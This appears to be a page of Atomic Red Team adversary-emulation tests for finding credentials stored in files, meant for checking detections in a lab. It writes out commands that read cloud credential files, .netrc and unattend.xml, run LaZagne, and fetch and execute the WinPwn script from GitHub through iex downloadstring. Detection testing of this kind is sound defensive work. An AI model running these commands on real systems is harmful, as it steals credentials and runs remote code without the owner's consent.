Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
shmacos, linuxFind AWS credentials
Find local AWS credentials from file, defaults to using / as the look path.
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
bashelevatedmacosExtract Browser and System credentials with LaZagne
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
python2 laZagne.py all
shlinux, macosExtract passwords with grep
Extracting credentials from files
grep -ri password #{file_path}
exit 0
powershellwindowsExtracting passwords with findstr
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
command_promptelevatedwindowsAccess unattend.xml
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
bashlinux, macosFind and Access Github Credentials
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
powershellwindowsWinPwn - sensitivefiles
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
powershellwindowsWinPwn - Snaffler
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
powershellwindowsWinPwn - powershellsensitive
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
powershellwindowsWinPwn - passhunt
Search for Passwords on this system using passhunt via WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
powershellwindowsWinPwn - SessionGopher
Launches SessionGopher on this system via WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
powershellwindowsWinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
powershellelevatedwindowsList Credential Files via PowerShell
Via PowerShell,list files where credentials are stored in Windows Credential Manager
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
command_promptelevatedwindowsList Credential Files via Command Prompt
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
shmacos, linuxFind Azure credentials
Find local Azure credentials from file, defaults to using / as the look path.
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
shmacos, linuxFind GCP credentials
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
shmacos, linuxFind OCI credentials
Find local Oracle cloud credentials from file, defaults to using / as the look path.
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null